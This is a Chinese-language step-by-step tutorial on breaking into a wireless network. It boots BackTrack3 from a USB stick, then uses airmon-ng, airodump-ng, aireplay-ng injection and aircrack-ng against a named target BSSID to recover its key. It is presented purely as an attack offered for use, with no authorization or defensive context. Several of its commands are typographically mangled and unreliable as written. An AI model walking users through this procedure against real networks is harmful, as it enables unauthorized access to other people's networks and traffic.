1、将下载好的backtrack3(BT3) usb版。文件bt3b141207。rar直接解压到U盘（1G以上容量）。把Boot和BT3两个文件夹放到U盘的根目录，打开BOOT文件夹双击运行" bootinst。bat"批处理文件。U盘里就会多出4个文件。" isolinux。boot""isolinux。cfg""isolinux。bin""syslinux。cfg"。
2、之后重启windows，进入BIOS设置。把BIOS里的frist boot device设置为USB-HDD（或者是USB--ZIP）再重启选择从usb启动。系统进入backtrack3系统。
3、在shell窗口中输入ifconfig命令。出现如下信息：lo no wireless extensions。。。。。。。。。。。Rx invalid nwid：0 Rx invalid crypt：0 Rx invalid frag：0Tx excessive retries：0 Invalid misc：0 Missed beacon：0
4、找出你的无线网卡名字。我这里是eth1。再启动你的网卡为Moniter模式(输入airmon-ng start eth1 11)。再输入ifconfig命令，返回如下信息：lo no wireless extensions。。。。。。。。。。。Tx excessive retries：0 Invalid misc：0 Missed beacon：0
5、输入命令airodump-ng-c 11--bssid 00：1A：01：8D：C3：B2-w outputs eth1。命令中的11表示要破解的频道号，bssid后面的数字表示破解目标的MAC物理地址，outputs表示要生成的包的名称。回车运行。
6、再开一个shell输入aireplay-ng-1 0-e targetnet-a 00：1A：01：8D：C3：B2-h 00：A1：C1：D8：A5：B6 eth1其中“targetnet”表示破解目标网络名，00：1A：01：8D：C3：B2前面已解释过是指目标MAC物理地址，00：A1：C1：D8：A5：B6表示本机网卡MAC物理地址。
7、再开一个shell输入aireplay-ng-3-b 00：1A：01：8D：C3：B2-h 00：A1：C1：D8：A5：B6 eth1获取更多的数据包。返回数据量到1万的时候就可以破解了。再开一个shell输入aircrack-ng-z-b 00：1A：01：8D：C3：B2 outputs。cap进行破解。如果破解不成功，让它继续抓包，直到破解。
以上的就是关于如何破解无线网络的内容介绍了。
